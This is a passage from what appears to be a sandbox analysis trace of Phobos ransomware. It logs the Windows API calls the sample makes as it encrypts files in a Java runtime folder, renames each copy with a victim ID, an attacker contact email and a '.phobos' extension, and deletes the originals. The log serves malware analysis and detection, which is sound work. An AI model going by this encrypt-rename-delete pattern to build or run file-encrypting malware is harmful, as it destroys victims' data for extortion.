lpOverlapped=0x0) returned 1 [0134.691] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x752f58) returned 1 [0134.691] CryptSetKeyParam (hKey=0x752f58, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0134.691] CryptEncrypt (in: hKey=0x752f58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40, dwBufLen=0x40 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40) returned 1 [0134.691] CryptDestroyKey (hKey=0x752f58) returned 1 [0134.691] WriteFile (in: hFile=0x2b4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xf2, lpOverlapped=0x0) returned 1 [0134.691] CryptDestroyKey (hKey=0x752cd8) returned 1 [0134.691] CloseHandle (hObject=0x300) returned 1 [0134.691] CloseHandle (hObject=0x2b4) returned 1 [0134.691] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll")) returned 1 [0134.692] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.692] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0134.693] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=136256) returned 1 [0134.694] CloseHandle (hObject=0x2b4) returned 1 [0134.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll")) returned 0x20 [0134.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0134.694] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0134.694] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0134.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0134.694] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x752e98) returned 1 [0134.694] CryptSetKeyParam (hKey=0x752e98, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0134.694] ReadFile (in: hFile=0x2b4, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x21440, lpOverlapped=0x0) returned 1 [0134.707] CryptEncrypt (in: hKey=0x752e98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x21450, dwBufLen=0x21450 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x21450) returned 1 [0134.707] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x21450, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x21450, lpOverlapped=0x0) returned 1 [0134.710] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x752dd8) returned 1 [0134.710] CryptSetKeyParam (hKey=0x752dd8, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0134.710] CryptEncrypt (in: hKey=0x752dd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40, dwBufLen=0x40 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40) returned 1 [0134.710] CryptDestroyKey (hKey=0x752dd8) returned 1 [0134.710] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xf2, lpOverlapped=0x0) returned 1 [0134.710] CryptDestroyKey (hKey=0x752e98) returned 1 [0134.710] CloseHandle (hObject=0x2b4) returned 1 [0134.710] CloseHandle (hObject=0x300) returned 1 [0134.710] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll")) returned 1 [0134.711] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.711] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0134.712] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=186944) returned 1 [0134.712] CloseHandle (hObject=0x300) returned 1 [0134.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll")) returned 0x20 [0134.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0134.712] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0134.712] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0134.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0134.776] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x752ed8) returned 1 [0134.776] CryptSetKeyParam (hKey=0x752ed8, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0134.776] ReadFile (in: hFile=0x300, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x2da40, lpOverlapped=0x0) returned 1 [0134.805] CryptEncrypt (in: hKey=0x752ed8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x2da50, dwBufLen=0x2da50 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x2da50) returned 1 [0134.805] WriteFile (in: hFile=0x2b4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x2da50, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x2da50, lpOverlapped=0x0) returned 1 [0134.808] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x752a98) returned 1 [0134.809] CryptSetKeyParam (hKey=0x752a98, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0134.809] CryptEncrypt (in: hKey=0x752a98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40, dwBufLen=0x40 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40) returned 1 [0134.809] CryptDestroyKey (hKey=0x752a98) returned 1 [0134.809] WriteFile (in: hFile=0x2b4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xf2, lpOverlapped=0x0) returned 1 [0134.809] CryptDestroyKey (hKey=0x752ed8) returned 1 [0134.809] CloseHandle (hObject=0x300) returned 1 [0134.809] CloseHandle (hObject=0x2b4) returned 1 [0134.809] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll")) returned 1 [0134.811] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.811] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0134.811] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=619584) returned 1 [0134.811] CloseHandle (hObject=0x2b4) returned 1 [0134.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll")) returned 0x20 [0134.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.811] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0134.811] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0134.811] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0134.811] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0134.812] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x752ed8) returned 1 [0134.812] CryptSetKeyParam (hKey=0x752ed8, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0134.812] ReadFile (in: hFile=0x2b4, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x97440, lpOverlapped=0x0) returned 1 [0134.940] CryptEncrypt (in: hKey=0x752ed8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x97450, dwBufLen=0x97450 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x97450) returned 1 [0134.941] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x97450, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x97450, lpOverlapped=0x0) returned 1 [0134.949] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x752c58) returned 1 [0134.949] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0134.949] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x50, dwBufLen=0x50 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x50) returned 1 [0134.949] CryptDestroyKey (hKey=0x752c58) returned 1 [0134.949] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x102, lpOverlapped=0x0) returned 1 [0134.949] CryptDestroyKey (hKey=0x752ed8) returned 1 [0134.949] CloseHandle (hObject=0x2b4) returned 1 [0134.949] CloseHandle (hObject=0x300) returned 1 [0134.949] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll")) returned 1 [0134.954] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0134.955] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=19008) returned 1 [0134.955] CloseHandle (hObject=0x300) returned 1 [0134.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll")) returned 0x20 [0134.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0134.955] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0134.955] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0134.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0134.956] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x752f98) returned 1 [0134.956] CryptSetKeyParam (hKey=0x752f98, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0134.956] ReadFile (in: hFile=0x300, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x4a40, lpOverlapped=0x0) returned 1 [0134.993] CryptEncrypt (in: hKey=0x752f98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x4a50, dwBufLen=0x4a50 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x4a50) returned 1 [0134.993] WriteFile (in: hFile=0x2b4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x4a50, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x4a50, lpOverlapped=0x0) returned 1 [0134.994] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x7531d8) returned 1 [0134.994] CryptSetKeyParam (hKey=0x7531d8, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0134.994] CryptEncrypt (in: hKey=0x7531d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40, dwBufLen=0x40 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40) returned 1 [0134.994] CryptDestroyKey (hKey=0x7531d8) returned 1 [0134.994] WriteFile (in: hFile=0x2b4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xf2, lpOverlapped=0x0) returned 1 [0134.994] CryptDestroyKey (hKey=0x752f98) returned 1 [0134.994] CloseHandle (hObject=0x300) returned 1 [0134.994] CloseHandle (hObject=0x2b4) returned 1 [0134.994] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll")) returned 1 [0134.995] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0134.995] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=21056) returned 1 [0134.995] CloseHandle (hObject=0x2b4) returned 1 [0134.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll")) returned 0x20 [0134.996] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.996] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0134.996] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0134.996] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0134.996] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0134.996] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x7530d8) returned 1 [0134.996] CryptSetKeyParam (hKey=0x7530d8, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0134.996] ReadFile (in: hFile=0x2b4, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x5240, lpOverlapped=0x0) returned 1 [0135.029] CryptEncrypt (in: hKey=0x7530d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x5250, dwBufLen=0x5250 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x5250) returned 1 [0135.029] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x5250, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x5250, lpOverlapped=0x0) returned 1 [0135.030] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x753158) returned 1 [0135.030] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0135.030] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40, dwBufLen=0x40 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40) returned 1 [0135.030] CryptDestroyKey (hKey=0x753158) returned 1 [0135.030] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xf2, lpOverlapped=0x0) returned 1 [0135.031] CryptDestroyKey (hKey=0x7530d8) returned 1 [0135.031] CloseHandle (hObject=0x2b4) returned 1 [0135.031] CloseHandle (hObject=0x300) returned 1 [0135.031] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll")) returned 1 [0135.032] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0135.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0135.033] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=15936) returned 1 [0135.033] CloseHandle (hObject=0x300) returned 1 [0135.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe")) returned 0x20 [0135.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0135.033] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0135.033] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0135.033] CreateFileW (lpFileName="\\\\?\\C:\\Program 